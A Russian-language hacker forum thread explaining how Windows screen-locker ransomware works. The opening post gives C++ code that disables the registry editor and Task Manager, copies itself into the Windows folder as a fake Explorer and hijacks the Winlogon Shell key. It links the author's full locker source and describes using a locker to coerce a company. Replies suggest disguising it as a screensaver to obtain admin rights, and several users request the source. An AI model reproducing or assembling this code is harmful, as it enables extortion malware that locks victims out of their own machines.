Авторские статьи WindowsBlock (теория в примерах)

Discussion in 'Статьи' started by POS_troi, 14 Jun 2009.

  1. POS_troi

    POS_troi Elder - Старейшина

    Joined:
    1 Dec 2006
    Messages:
    1,569
    Likes Received:
    466
    Reputations:
    108
    Прелюдия
    Тут один персонаж доставал меня по поводу «что такое «WinBlokirator» » и как оно работает.
    Сразу оговорюсь, что статейка для опытных людей ничего нового не даст но вот для новичков в целях общего развития вполне подойдет.

    И так, программы класса «WinBlokirator» можно отнести к вредоносным программам но как правило в ихнюю задачу входит только заставить пользователя отправить SMS на платный номер за что и обещают вернуть все на свои места (покрайне мере два варианта которые реверснул только это и делали).

    Проникать на компьютер может любым из доступных способов и тут ничем не отличается от техже «KIDO», «Sality» а тоесть путем атаки на уязвимости в сервисах Windows (MS08-067,MS08-068,MS09-001), Интернет браузеров, склейка с исполняемыми файлами, а также через автозапуск съемных накопителей (Flash, CD,DVD и т.д.).

    Проникая на компьютер жертвы «программа» (будем так называть) первым делом должна обеспечить себе безопасное пребывание и по максимуму усложнить возможность избавиться от нее не выполнив указанной просьбы (например, отправку SMS) - это достигается путем блокирования «Диспетчера задач», «Редактора реестра», «Загрузка в безопасном режиме/командной строки»

    Вот пример возможного кода
    (CodeGear C++Builder 2009)

    Code:
    // Запрещаем Редактирование реестра
    reg = new TRegistry();
    reg->RootKey=HKEY_CURRENT_USER;
    reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",true);
    reg->WriteInteger("DisableRegistryTools",1);
    reg->CloseKey();
    
    // Запрещаем Диспетчер задач
    reg->RootKey=HKEY_CURRENT_USER;
    reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",true);
    reg->WriteInteger("DisableTaskMgr",1);
    reg->CloseKey();
    // Запрещаем Загрузку в режиме MS-DOS
    reg->RootKey= HKEY_CURRENT_USER;
    reg->OpenKey("Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Policies\\WinOldApp",true);
    reg->WriteInteger("NoRealMode",1);
    reg->CloseKey();
    
     
    Далее необходимо скопировать себя, куда нибудь в католог Windows – примерно следующим кодом:

    Code:
    ZeroMemory(CMD,500);
    lstrcat(CMD,"cmd /c copy ");
    lstrcat(CMD,Application->ExeName.t_str());
    lstrcat(CMD," %WinDir%\\Expl0rer.exe"); //(Expl0rer.exe имя cс которым скопировать наш файл в каталог  WINDOWS)
    WinExec(CMD,0);
    
    Чтобы при следующей загрузке Windows заблокировать компьютер нам необходимо заменить SHELL Windows (Explorer.exe) на свою программу, что делается путем изменения значения в ветке
    Code:
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
    
    Программная реализация:
    Code:
    reg->RootKey=HKEY_LOCAL_MACHINE;
    reg->OpenKey("\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",true);
    reg->WriteString("Shell","Expl0rer.exe");  //(Expl0rer.exe имя нашей программы в каталоге WINDOWS)
    reg->CloseKey();
    
    Теперь наша программа обеспечила себе возможность спокойно жить на компьютере и запуск при страте системы (путем подмены SHELL-a системы).

    Реализация интерфейса
    это уже дело вкуса каждого и ничего сложного в этом нет и логика работы простейшая:

    1. Говорим что куда отправлять
    2. Проверяем введенный код на корректность
    3. Если корректно то возвращаем все на свои места в обратной последовательности.

    Вот такая вот простая, в общем, технология, на которой умудряются зарабатывать деньги.

    Вот несколько скринов программы, которая писалась специально для одной фирмы, которая не хотела покупать лицензионное ПО а Админ очень сильно волновался по этому поводу.


    [​IMG] [​IMG] [​IMG] [​IMG] [​IMG]

    Она действовала по то муже принципу что и выше но только никаких кодов не просила =)
    P.S. Фирма купила лицензии =)


    Ну критикуйте меня.
    Могу выложить исходники "блокиратора" со скринов - если модераторы не против. (код не супер красивый но вполне читабельный)

    Вообщем исходник.
    http://rapidshare.com/files/250975578/1.rar_.html
    MD5: 40991CEE044C713F1D8E671B0FA6D1EF
     
    #1 POS_troi, 14 Jun 2009
    Last edited: 2 Jul 2009
    2 people like this.
  2. jawbreaker

    jawbreaker Elder - Старейшина

    Joined:
    7 Jul 2008
    Messages:
    156
    Likes Received:
    76
    Reputations:
    3
    В каких версиях Windows работает? UAC помогает от этого или нет?
     
  3. POS_troi

    POS_troi Elder - Старейшина

    Joined:
    1 Dec 2006
    Messages:
    1,569
    Likes Received:
    466
    Reputations:
    108
    На висте не тестировал (каюсь) когда меня попросили написать ЭТО то цель ставилась в направлении WINDOWS XP PRO SP3
     
  4. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    В висте не позволит, пробовали на ноуте, фс стоит нтфс, в папку винды и в корень диска, во все системные папки + таск менеджер. Нужны права "супер админа"
     
    1 person likes this.
  5. POS_troi

    POS_troi Elder - Старейшина

    Joined:
    1 Dec 2006
    Messages:
    1,569
    Likes Received:
    466
    Reputations:
    108
    Можно пойти путем "СИ" например под скринсевер замаскировать и проверять при запуске права - если не Администратор то выдавать красивое окошко , мол "Извините но у вас не получиться установить наш супер красивый и клевый скрисевер без прав Администратора"
     
  6. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Повашему в Xp в раздел HKLM и в %windir% может обычный пользователь писать?Так что это работает везде в независимости от ОС(xp,vista).В обоих случаях нужно права администратора и UAC ну ничем не попрепятствует.Что в xp потребуется runas,что в Vista запустится UAC.Если работать по умолчанию в виста под записью входящей в группу администраторы и не править настройки,то выведется уведомления о повышении прав,где достаточно нажать далее.
     
  7. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    Я еще не видел, чтобы при установки винды (ХР) получался "обычный" пользователь. За это ХР и "любят" до сих пор, то что лишних вопросов не задает в отличии от висты и 7ки. Да и кто с этим будет возиться?

    Под скрытую установку это не очень похоже. Мы тестировали несколько софтин, так что под ХР устанавливается на ура, в висте не проходит.
     
  8. m03G

    m03G Member

    Joined:
    6 Jun 2009
    Messages:
    41
    Likes Received:
    6
    Reputations:
    0
    ТС, дай линк пожалуйста на исходники в личку буду благодарен.
     
  9. skam777

    skam777 Member

    Joined:
    3 Jan 2009
    Messages:
    40
    Likes Received:
    15
    Reputations:
    5
    и мне
     
  10. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Пользователь тыкнет на 90% да при проявлении окна UAC,а в 99% попросит его отключить UAC ,заметит опытный пользователь который не когда не будет сидеть под записью администратора что в Xp ,что в Vista.А в 7 тем более там по умолчанию еще больше снижен UAC и отключается на раз,еще покрепче держится только самый высокий уровень.
     
  11. POS_troi

    POS_troi Elder - Старейшина

    Joined:
    1 Dec 2006
    Messages:
    1,569
    Likes Received:
    466
    Reputations:
    108
    2skam777

    как только дойдут руки выколупать оттуда механизм под MS08-067,MS08-068,MS09-001 то сразу выложу для всех.

    к сожалению таких мало. к большому сожалению.
     
  12. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Вот поэтому механизм UAC под большим сомненьем.
     
    1 person likes this.
  13. nonamez

    nonamez Elder - Старейшина

    Joined:
    22 Jul 2007
    Messages:
    565
    Likes Received:
    265
    Reputations:
    17
    у ками в блоге что-то подобное писалось...
     
    1 person likes this.
  14. POS_troi

    POS_troi Elder - Старейшина

    Joined:
    1 Dec 2006
    Messages:
    1,569
    Likes Received:
    466
    Reputations:
    108
    inifiles.h
    registry.h
    vcl.h // так как визуал студия
     
  15. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    POS_troi, скинь мне тоже исходники
     
    1 person likes this.
  16. POS_troi

    POS_troi Elder - Старейшина

    Joined:
    1 Dec 2006
    Messages:
    1,569
    Likes Received:
    466
    Reputations:
    108
    #11 первый пункт.

    Ы. выложу. сентября этак 20 ;)
     
  17. POS_troi

    POS_troi Elder - Старейшина

    Joined:
    1 Dec 2006
    Messages:
    1,569
    Likes Received:
    466
    Reputations:
    108
    Дело в том что если и выложу исходники то в них будут ошибки - на дурака =)
    Да и вообще выкладывать сейчас не буду.. много школьников.
     
    1 person likes this.
  18. Зод

    Зод New Member

    Joined:
    30 Jul 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Понимаю что теме дохрена лет но все равно апну. У кого есть исходник? Или автор если еще существуешь залей по новой плиз. Очень хочется ознакомиться с уже естественно палящемся но все же винлоккером. Просто ради собственного интереса.
    В сети не нахожу исходник, все уже облазил а его нет.
     
  19. Gusev

    Gusev Banned

    Joined:
    4 Sep 2010
    Messages:
    86
    Likes Received:
    8
    Reputations:
    -5
    К автору уже нет смысла общараться скорее всего. Теме уже больше двух лет.
     
  20. Зод

    Зод New Member

    Joined:
    30 Jul 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Это я и написал в посте собственно. Ну может у кого есть исходники? Их реально в сети нет. Только билдеры а в них неизвестно что может быть. А код мне нужен так сказать для изучения в своих целях а не для распространения.